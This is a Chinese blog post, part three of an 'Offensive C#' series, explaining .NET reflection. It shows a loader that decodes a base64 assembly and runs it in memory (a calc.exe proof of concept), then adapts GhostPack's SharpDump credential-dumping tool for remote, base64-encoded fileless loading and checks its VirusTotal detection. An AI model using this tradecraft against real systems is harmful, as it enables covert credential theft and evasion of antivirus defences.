本文是OffenSive Csharp Development 系列的第三篇文章，着重讲解Csharp的Reflection(反射)的使用。
反射是什么？这里引用百度百科对其的解释：反射指程序可以访问、检测和修改它本身状态或行为的一种能力。
关于它的基础使用和api调用可以参考MSDN文档：https://docs.microsoft.com/en-us/dotnet/api/system.reflection?view=netframework-4.5，这里不再赘述。其加载方式主要分为下面三种：
1、Assembly.Load()是从String或AssemblyName类型加载程序集，可以读取字符串形式的程序集，也就是说，文件不需要写入硬盘。
2、Assembly.LoadFrom()从指定文件中加载程序集，同时会加载目标程序集所引用和依赖的其他程序集。
例如：
Assembly.LoadFrom("a.dll")，如果a.dll中引用了b.dll，那么会同时加载a.dll和b.dll。
3、Assembly.LoadFile()也是从指定文件中加载程序集，但不会加载目标程序集所引用和依赖的其他程序集。
例如：
Assembly.LoadFile("a.dll")，如果a.dll中引用了b.dll，那么不会加载b.dll。
反射使用
这里以一个小demo来讲解反射的具体用法。
代码如下：
using System;using System.Reflection;namespace Basic3{class Program{public static void Main(){string base64str = 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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==";byte[] buffer = Convert.FromBase64String(base64str);Assembly assembly = Assembly.Load(buffer);Type type = assembly.GetType("TestApplication.aaa");MethodInfo method = type.GetMethod("bbb");Object obj = assembly.CreateInstance(method.Name);method.Invoke(obj, null);}}}
这里采用的是反射加载base64的方式，base64还原后是
using System;namespace TestApplication{public class Program{public static void Main(){Console.WriteLine("Main");}}public class aaa{public static void bbb(){System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "c:\windows\system32\calc.exe";p.Start();}}}
所以一个基本的反射流程如下：
Assembly.Load获取主文件-->GetType获取命名空间及类-->GetMethod获取方法-->CreateInstance获取信息-->Invoke调用最后成功弹出calc
实操
下面将展示使用反射来加载https://github.com/GhostPack/SharpDump的方法。因为其main函数的问题，我们为其加上一个方法，来方便我们调用，代码如下：
public static void RunMain(){string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");string dumpDir = String.Format("C:\Windows\Temp\", systemRoot);if (!Directory.Exists(dumpDir)){Console.WriteLine(String.Format("n[X] Dump directory "{0}" doesn't exist!n", dumpDir));return;}Minidump();}
然后我们这里选择远程加载+base64的方法。先对程序进行编码：
然后编写加载程序。代码已传至github：https://github.com/lengjibo/OffenSiveCSharp/tree/master/ReflectionB64
代码欢迎star、fork、issues。
效果如下：
VT查杀：
参考文章：
https://blog.csdn.net/weixin_31440583/article/details/112339503
本文始发于微信公众号（鸿鹄实验室）：OffenSive Csharp Development Part3
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